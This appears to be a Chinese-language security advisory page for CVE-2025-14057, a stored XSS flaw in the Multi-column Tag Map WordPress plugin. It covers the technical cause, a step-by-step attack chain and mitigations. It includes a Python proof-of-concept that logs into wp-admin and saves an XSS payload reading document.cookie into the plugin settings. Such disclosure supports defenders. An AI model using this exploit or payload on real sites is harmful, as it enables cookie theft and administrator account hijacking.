IPBUF安全漏洞报告
English
CVE-2025-14057 CVSS 4.4 中危

CVE-2025-14057 WordPress Multi-column Tag Map插件存储型XSS漏洞

披露日期: 2026-01-07

漏洞信息

漏洞编号
CVE-2025-14057
漏洞类型
存储型跨站脚本攻击(Stored XSS)
CVSS评分
4.4 中危
攻击向量
网络 (AV:N)
认证要求
高权限 (PR:H)
用户交互
无需交互 (UI:N)
影响产品
Multi-column Tag Map plugin for WordPress

相关标签

CVE-2025-14057WordPress插件漏洞存储型XSS跨站脚本攻击Multi-column Tag MapCWE-79OWASP Top 10Authenticated XSSWordPress安全

漏洞概述

Multi-column Tag Map是WordPress平台上一款流行的标签管理插件,用于在多列布局中展示文章标签。然而,该插件在17.0.39及之前的所有版本中存在严重的存储型跨站脚本(Stored XSS)漏洞。漏洞的根本原因在于插件的管理后台设置页面缺乏足够的输入过滤(input sanitization)和输出转义(output escaping)机制。攻击者利用该漏洞可以在管理员后台设置中注入恶意JavaScript代码,这些恶意代码会被永久存储在数据库中。当其他管理员或用户访问包含恶意脚本的页面时,攻击代码便会在受害者浏览器中执行,从而窃取会话Cookie、劫持管理员账户或进行其他恶意操作。值得注意的是,此漏洞仅影响多站点(Multi-site)安装环境以及禁用了unfiltered_html功能的WordPress单站点安装。

技术细节

该漏洞位于插件的mctagmap-options.php文件(约第65行)和mctagmap_functions.php文件(约第1845行)中。在管理后台的选项设置页面,插件直接接收用户输入而未进行充分的HTML标签过滤和特殊字符转义处理。当管理员在插件设置中保存包含恶意脚本的内容时,这些内容会被直接写入WordPress数据库而未经过sanitize或esc_html等安全函数处理。在后续页面渲染过程中,存储的恶意代码未经转义直接输出到HTML页面中,形成存储型XSS攻击向量。由于插件在多列标签展示功能中会读取并显示这些设置内容,任何访问相关页面的用户都会触发恶意脚本执行。攻击者可通过构造特定的payload(如:<img src=x onerror=alert(document.cookie)>)注入JavaScript代码,实现会话劫持、敏感信息窃取等攻击目的。

攻击链分析

STEP 1
1. 信息收集
攻击者识别目标网站使用的WordPress版本,并确认安装了Multi-column Tag Map插件且版本≤17.0.39
STEP 2
2. 账户获取
攻击者通过社会工程、密码爆破或其他方式获取目标WordPress站点的管理员账户凭据
STEP 3
3. 后台访问
使用获取的管理员凭据登录WordPress后台管理系统
STEP 4
4. 漏洞利用
导航至Multi-column Tag Map插件的设置页面(admin.php?page=mctagmap-options),在设置字段中注入恶意JavaScript代码,如:<img src=x onerror=alert(document.cookie)>
STEP 5
5. 载荷存储
保存设置时,恶意代码未经充分过滤直接写入数据库,形成持久化存储
STEP 6
6. 触发执行
当其他管理员或用户访问包含该恶意设置的页面时,浏览器会解析并执行注入的JavaScript代码
STEP 7
7. 恶意操作
攻击者通过已执行的JavaScript窃取用户会话Cookie、获取管理员权限、修改站点内容或进一步渗透

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2025-14057 PoC - Stored XSS in Multi-column Tag Map plugin # Affected versions: <= 17.0.39 import requests import sys from bs4 import BeautifulSoup TARGET_URL = "http://target-wordpress-site.com" USERNAME = "admin" PASSWORD = "admin_password" def get_nonce(login_page_html): """Extract WordPress nonce from login page""" soup = BeautifulSoup(login_page_html, 'html.parser') nonce_input = soup.find('input', {'id': '_wpnonce'}) if nonce_input: return nonce_input.get('value') return None def exploit_stored_xss(): """ This PoC demonstrates the stored XSS vulnerability in Multi-column Tag Map plugin. The vulnerability allows authenticated administrators to inject arbitrary JavaScript through the plugin's admin settings page. """ session = requests.Session() # Step 1: Login to WordPress admin login_url = f"{TARGET_URL}/wp-login.php" login_page = session.get(login_url) nonce = get_nonce(login_page.text) login_data = { 'log': USERNAME, 'pwd': PASSWORD, 'wp-submit': 'Log In', 'redirect_to': f"{TARGET_URL}/wp-admin/", 'testcookie': '1', '_wpnonce': nonce } login_response = session.post(login_url, data=login_data) if 'wordpress_logged_in' not in session.cookies: print("[-] Login failed") return False print("[+] Login successful") # Step 2: Access Multi-column Tag Map plugin settings settings_url = f"{TARGET_URL}/wp-admin/admin.php?page=mctagmap-options" settings_page = session.get(settings_url) # Step 3: Inject XSS payload in settings field # Payload: <img src=x onerror=alert(document.cookie)> xss_payload = '<img src=x onerror=alert(document.cookie)>' # Extract nonce from settings page settings_nonce = get_nonce(settings_page.text) exploit_data = { 'mctagmap_option': xss_payload, 'submit': 'Save Changes', '_wpnonce': settings_nonce } exploit_response = session.post(settings_url, data=exploit_data) if exploit_response.status_code == 200: print("[+] XSS payload injected successfully") print(f"[+] Payload: {xss_payload}") print("[+] The XSS will execute when admin views the tag map page") return True else: print("[-] Exploitation failed") return False if __name__ == "__main__": exploit_stored_xss()

影响范围

Multi-column Tag Map plugin for WordPress <= 17.0.39(所有版本)

防御指南

临时缓解措施
如果无法立即升级插件,可采取以下临时缓解措施:1) 在wp-config.php中确保DISALLOW_UNFILTERED_HTML常量未定义或设为false(仅限单站点);2) 对于多站点安装,限制超级管理员以外的用户使用该插件;3) 使用第三方安全插件如Wordfence或Sucuri进行实时安全监控;4) 临时禁用Multi-column Tag Map插件,直至完成安全更新;5) 审查最近的管理员操作日志,排查是否存在异常的管理后台访问或设置修改行为。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表